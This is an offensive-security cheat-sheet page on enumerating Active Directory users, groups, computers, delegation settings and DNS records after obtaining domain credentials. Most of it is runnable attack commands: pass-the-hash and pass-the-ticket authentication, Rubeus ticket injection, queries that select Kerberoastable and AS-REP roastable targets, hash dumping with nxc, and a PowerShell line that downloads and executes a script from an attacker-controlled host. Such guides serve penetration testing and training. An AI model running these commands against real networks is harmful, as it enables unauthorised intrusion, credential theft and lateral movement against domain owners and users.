Skip to content
HackIndex logo

HackIndex

Object Enumeration

8 min read Jul 10, 2026

AD object enumeration maps users, computers, groups, OUs, and DNS records in the domain. Run this immediately after obtaining any valid domain credentials. The output feeds every subsequent attack decision: who to target, what Kerberos abuse is viable, and where high-value systems sit in the network.

Authentication formats

BloodyAD and most AD tools accept multiple authentication methods. From a compromised Windows host, PowerView uses the current user token automatically on domain-joined machines.

┌──(kali㉿kali)-[~]
└─$ # Cleartext password
┌──(kali㉿kali)-[~]
└─$ bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP
 
┌──(kali㉿kali)-[~]
└─$ # Pass-the-Hash
┌──(kali㉿kali)-[~]
└─$ bloodyAD -d $DOMAIN -u $USER -p :$NTHASH --host $TARGET_IP
 
┌──(kali㉿kali)-[~]
└─$ # Pass-the-Ticket (ccache)
┌──(kali㉿kali)-[~]
└─$ bloodyAD -d $DOMAIN -u $USER -k ccache=/path/to/ticket.ccache --host $TARGET_IP
 
┌──(kali㉿kali)-[~]
└─$ # Certificate authentication
┌──(kali㉿kali)-[~]
└─$ bloodyAD -d $DOMAIN -u $USER -c /path/to/key.pem:/path/to/cert.pem --host $TARGET_IP
 
┌──(kali㉿kali)-[~]
└─$ # LDAPS
┌──(kali㉿kali)-[~]
└─$ bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP -s
PS C:\Users\Guest\Desktop> # On domain-joined host — PowerView uses current token automatically
PS C:\Users\Guest\Desktop> IEX(New-Object Net.WebClient).DownloadString('http://$LHOST/PowerView.ps1')
PS C:\Users\Guest\Desktop> Get-DomainUser
 
PS C:\Users\Guest\Desktop> # With explicit credentials (non-domain-joined or alternate account)
PS C:\Users\Guest\Desktop> $Cred = New-Object System.Management.Automation.PSCredential(
"$DOMAIN\$USER",
(ConvertTo-SecureString "$PASSWORD" -AsPlainText -Force)
)
PS C:\Users\Guest\Desktop> Get-DomainUser -Credential $Cred
 
PS C:\Users\Guest\Desktop> # Spawn new process with different creds (interactive)
PS C:\Users\Guest\Desktop> runas /netonly /user:$DOMAIN\$USER powershell.exe
 
PS C:\Users\Guest\Desktop> # Pass-the-Hash: Overpass-the-Hash via Rubeus to inject Kerberos ticket
PS C:\Users\Guest\Desktop> .\Rubeus.exe asktgt /user:$USER /rc4:$NTHASH /domain:$DOMAIN /dc:$TARGET_IP /ptt
PS C:\Users\Guest\Desktop> Get-DomainUser # now uses injected ticket

Domain structure: users, computers, groups

Start with broad enumeration to map the domain before running targeted queries. net.exe built-ins work on any domain-joined Windows host without loading tools.

┌──(kali㉿kali)-[~]
└─$ # All users in domain
┌──(kali㉿kali)-[~]
└─$ bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP get children "DC=$DOMAIN_PART1,DC=$DOMAIN_PART2" --type user
 
┌──(kali㉿kali)-[~]
└─$ # All computers
┌──(kali㉿kali)-[~]
└─$ bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP get children "DC=$DOMAIN_PART1,DC=$DOMAIN_PART2" --type computer
 
┌──(kali㉿kali)-[~]
└─$ # All groups
┌──(kali㉿kali)-[~]
└─$ bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP get children "DC=$DOMAIN_PART1,DC=$DOMAIN_PART2" --type group
 
┌──(kali㉿kali)-[~]
└─$ # All OUs
┌──(kali㉿kali)-[~]
└─$ bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP get children "DC=$DOMAIN_PART1,DC=$DOMAIN_PART2" --type organizationalUnit
 
┌──(kali㉿kali)-[~]
└─$ # Objects in specific OU
┌──(kali㉿kali)-[~]
└─$ bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP get children "OU=Servers,DC=$DOMAIN_PART1,DC=$DOMAIN_PART2" --type computer
distinguishedName: CN=jsmith,CN=Users,DC=corp,DC=local
distinguishedName: CN=svc-backup,CN=Users,DC=corp,DC=local
distinguishedName: CN=Administrator,CN=Users,DC=corp,DC=local
PS C:\Users\Guest\Desktop> # Built-in — no tools needed
PS C:\Users\Guest\Desktop> net user /domain # all domain users
PS C:\Users\Guest\Desktop> net group /domain # all domain groups
PS C:\Users\Guest\Desktop> net group "Domain Admins" /domain # group members
 
PS C:\Users\Guest\Desktop> # PowerView — more detail
PS C:\Users\Guest\Desktop> Get-DomainUser | Select-Object samaccountname, description, memberof
PS C:\Users\Guest\Desktop> Get-DomainComputer | Select-Object dnshostname, operatingsystem
PS C:\Users\Guest\Desktop> Get-DomainGroup | Select-Object name, description
PS C:\Users\Guest\Desktop> Get-DomainOU | Select-Object name, distinguishedname
 
PS C:\Users\Guest\Desktop> # Computers in specific OU
PS C:\Users\Guest\Desktop> Get-DomainComputer -SearchBase "OU=Servers,DC=$DOMAIN_PART1,DC=$DOMAIN_PART2" | Select-Object dnshostname

Object details: specific attributes

get object / Get-DomainUser -Properties * pulls all attributes for a specific object. Use this to investigate accounts returned from broad queries.

┌──(kali㉿kali)-[~]
└─$ # Full object details for a user
┌──(kali㉿kali)-[~]
└─$ bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP get object $TARGET_USER
 
┌──(kali㉿kali)-[~]
└─$ # Specific attributes only
┌──(kali㉿kali)-[~]
└─$ bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP get object $TARGET_USER --attr userAccountControl
┌──(kali㉿kali)-[~]
└─$ bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP get object $TARGET_USER --attr memberOf
┌──(kali㉿kali)-[~]
└─$ bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP get object $TARGET_USER --attr servicePrincipalName
┌──(kali㉿kali)-[~]
└─$ bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP get object $TARGET_USER --attr description
 
┌──(kali㉿kali)-[~]
└─$ # Group members
┌──(kali㉿kali)-[~]
└─$ bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP get object "Domain Admins" --attr member
 
┌──(kali㉿kali)-[~]
└─$ # Machine Account Quota
┌──(kali㉿kali)-[~]
└─$ bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP get object "DC=$DOMAIN_PART1,DC=$DOMAIN_PART2" --attr ms-DS-MachineAccountQuota
 
┌──(kali㉿kali)-[~]
└─$ # AD functional level
┌──(kali㉿kali)-[~]
└─$ bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP get object "DC=$DOMAIN_PART1,DC=$DOMAIN_PART2" --attr domainFunctionality
PS C:\Users\Guest\Desktop> # Full user details
PS C:\Users\Guest\Desktop> Get-DomainUser -Identity $TARGET_USER -Properties * | Select-Object *
 
PS C:\Users\Guest\Desktop> # Key attributes
PS C:\Users\Guest\Desktop> Get-DomainUser -Identity $TARGET_USER | Select-Object samaccountname, useraccountcontrol, memberof, serviceprincipalname, description
 
PS C:\Users\Guest\Desktop> # Group members
PS C:\Users\Guest\Desktop> Get-DomainGroupMember -Identity "Domain Admins" | Select-Object MemberName, MemberObjectClass
 
PS C:\Users\Guest\Desktop> # Machine Account Quota
PS C:\Users\Guest\Desktop> (Get-DomainObject -Identity "DC=$DOMAIN_PART1,DC=$DOMAIN_PART2").'ms-ds-machineaccountquota'
 
PS C:\Users\Guest\Desktop> # AD functional level
PS C:\Users\Guest\Desktop> (Get-ADDomain).DomainMode

Targeted queries

These queries find actionable targets: AS-REP roastable accounts, Kerberoastable SPNs, delegation misconfigurations, and passwords in descriptions. PowerView's -UACFilter and -SPN flags handle the LDAP bit math internally.

┌──(kali㉿kali)-[~]
└─$ # AS-REP Roastable accounts (no pre-auth required)
┌──(kali㉿kali)-[~]
└─$ bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP get search --filter '(&(userAccountControl:1.2.840.113556.1.4.803:=4194304)(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))' --attr sAMAccountName
 
┌──(kali㉿kali)-[~]
└─$ # Kerberoastable accounts (SPNs set)
┌──(kali㉿kali)-[~]
└─$ bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP get search --filter '(&(objectClass=user)(servicePrincipalName=*))' --attr sAMAccountName servicePrincipalName
 
┌──(kali㉿kali)-[~]
└─$ # Accounts with password not required
┌──(kali㉿kali)-[~]
└─$ bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP get search --filter '(&(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=32))' --attr sAMAccountName
 
┌──(kali㉿kali)-[~]
└─$ # Unconstrained delegation (non-DC computers)
┌──(kali㉿kali)-[~]
└─$ bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP get search --filter '(&(objectClass=computer)(userAccountControl:1.2.840.113556.1.4.803:=524288)(!(userAccountControl:1.2.840.113556.1.4.803:=8192)))' --attr dNSHostName
 
┌──(kali㉿kali)-[~]
└─$ # Constrained delegation
┌──(kali㉿kali)-[~]
└─$ bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP get search --filter '(msDS-AllowedToDelegateTo=*)' --attr sAMAccountName msDS-AllowedToDelegateTo
 
┌──(kali㉿kali)-[~]
└─$ # Passwords in description
┌──(kali㉿kali)-[~]
└─$ bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP get search --filter '(&(objectClass=user)(description=*pass*))' --attr sAMAccountName description
PS C:\Users\Guest\Desktop> # AS-REP Roastable
PS C:\Users\Guest\Desktop> Get-DomainUser -UACFilter DONT_REQ_PREAUTH | Select-Object samaccountname
 
PS C:\Users\Guest\Desktop> # Kerberoastable (have SPNs)
PS C:\Users\Guest\Desktop> Get-DomainUser -SPN | Select-Object samaccountname, serviceprincipalname
 
PS C:\Users\Guest\Desktop> # Password not required
PS C:\Users\Guest\Desktop> Get-DomainUser -UACFilter PASSWD_NOTREQD | Select-Object samaccountname
 
PS C:\Users\Guest\Desktop> # Unconstrained delegation (non-DC computers)
PS C:\Users\Guest\Desktop> Get-DomainComputer -UnconstrainedDelegation | Where-Object {$_.useraccountcontrol -notmatch 'SERVER_TRUST_ACCOUNT'} | Select-Object dnshostname
 
PS C:\Users\Guest\Desktop> # Constrained delegation
PS C:\Users\Guest\Desktop> Get-DomainUser -TrustedToAuth | Select-Object samaccountname, msds-allowedtodelegateto
PS C:\Users\Guest\Desktop> Get-DomainComputer -TrustedToAuth | Select-Object dnshostname, msds-allowedtodelegateto
 
PS C:\Users\Guest\Desktop> # Passwords in description
PS C:\Users\Guest\Desktop> Get-DomainUser | Where-Object {$_.description -like '*pass*'} | Select-Object samaccountname, description

DNS enumeration

AD-integrated DNS records reveal internal hostnames and services not visible from an external scan. From Windows without DNS admin rights, pull hostnames from computer objects and resolve them with Resolve-DnsName.

┌──(kali㉿kali)-[~]
└─$ # Dump all AD-integrated DNS records
┌──(kali㉿kali)-[~]
└─$ bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP get dnsDump
 
┌──(kali㉿kali)-[~]
└─$ # Save to file
┌──(kali㉿kali)-[~]
└─$ bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP get dnsDump > dns_records.txt
 
┌──(kali㉿kali)-[~]
└─$ # Filter for interesting records
┌──(kali㉿kali)-[~]
└─$ bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP get dnsDump | grep -E "web|sql|backup|vpn|rdp|admin|exchange"
Name: dc01, Type: A, Data: 10.10.10.10
Name: web01, Type: A, Data: 10.10.10.20
Name: sql01, Type: A, Data: 10.10.10.30
Name: backup, Type: A, Data: 10.10.10.40
PS C:\Users\Guest\Desktop> # Hostnames from computer objects — no DNS admin required
PS C:\Users\Guest\Desktop> Get-DomainComputer | Select-Object dnshostname, operatingsystem | Sort-Object dnshostname
 
PS C:\Users\Guest\Desktop> # Resolve computer names to IPs
PS C:\Users\Guest\Desktop> Get-DomainComputer | ForEach-Object {
Resolve-DnsName $_.dnshostname -ErrorAction SilentlyContinue | Select-Object Name, IPAddress
}
 
PS C:\Users\Guest\Desktop> # SRV records — find DCs and services
PS C:\Users\Guest\Desktop> Resolve-DnsName "_ldap._tcp.$DOMAIN" -Type SRV
PS C:\Users\Guest\Desktop> Resolve-DnsName "_kerberos._tcp.$DOMAIN" -Type SRV
 
PS C:\Users\Guest\Desktop> # If DC admin — full zone dump
PS C:\Users\Guest\Desktop> Get-DnsServerResourceRecord -ZoneName $DOMAIN -ComputerName $TARGET_IP -RRType A | Select-Object HostName, RecordData

DNS records from AD reveal internal systems not exposed externally. Hostnames containing backup, sql, exchange, or admin are high-value lateral movement targets. Cross-reference with computer objects to get OS versions and last logon times.

Bulk queries: nxc, ldapsearch, AD module

These tools cover the same ground as bloodyAD and PowerView but in a single pass. The AD module requires RSAT or a domain-joined host with the ActiveDirectory module installed.

┌──(kali㉿kali)-[~]
└─$ # nxc — users and groups in one pass
┌──(kali㉿kali)-[~]
└─$ nxc ldap $TARGET_IP -u $USER -p $PASSWORD --users --groups
 
┌──(kali㉿kali)-[~]
└─$ # nxc — Kerberoastable and AS-REP Roastable
┌──(kali㉿kali)-[~]
└─$ nxc ldap $TARGET_IP -u $USER -p $PASSWORD --kerberoasting kerb.txt --asreproast asrep.txt
 
┌──(kali㉿kali)-[~]
└─$ # ldapsearch — all users with key attributes
┌──(kali㉿kali)-[~]
└─$ ldapsearch -x -H ldap://$TARGET_IP -D "$USER@$DOMAIN" -w "$PASSWORD" -b "$BASE_DN" "(objectClass=user)" sAMAccountName memberOf userAccountControl servicePrincipalName description
PS C:\Users\Guest\Desktop> # All users with key attributes — requires RSAT or domain-joined
PS C:\Users\Guest\Desktop> Get-ADUser -Filter * -Properties MemberOf, UserAccountControl, ServicePrincipalNames, Description |
PS C:\Users\Guest\Desktop>  Select-Object SamAccountName, MemberOf, UserAccountControl, ServicePrincipalNames, Description
 
PS C:\Users\Guest\Desktop> # All computers
PS C:\Users\Guest\Desktop> Get-ADComputer -Filter * -Properties OperatingSystem | Select-Object Name, OperatingSystem, DNSHostName
 
PS C:\Users\Guest\Desktop> # Kerberoastable
PS C:\Users\Guest\Desktop> Get-ADUser -Filter {ServicePrincipalName -ne '$null' -and Enabled -eq $true} -Properties ServicePrincipalName |
PS C:\Users\Guest\Desktop>  Select-Object SamAccountName, ServicePrincipalName
 
PS C:\Users\Guest\Desktop> # AS-REP Roastable
PS C:\Users\Guest\Desktop> Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true -and Enabled -eq $true} | Select-Object SamAccountName

After object enumeration, feed what you find into the right attack path: AS-REP Roastable accounts to AS-REP Roasting, Kerberoastable SPNs to Kerberoasting, unconstrained delegation targets to Unconstrained Delegation Abuse and Constrained Delegation Abuse, domain trusts to Domain Trust Abuse, and writable objects to ACL Enumeration.

References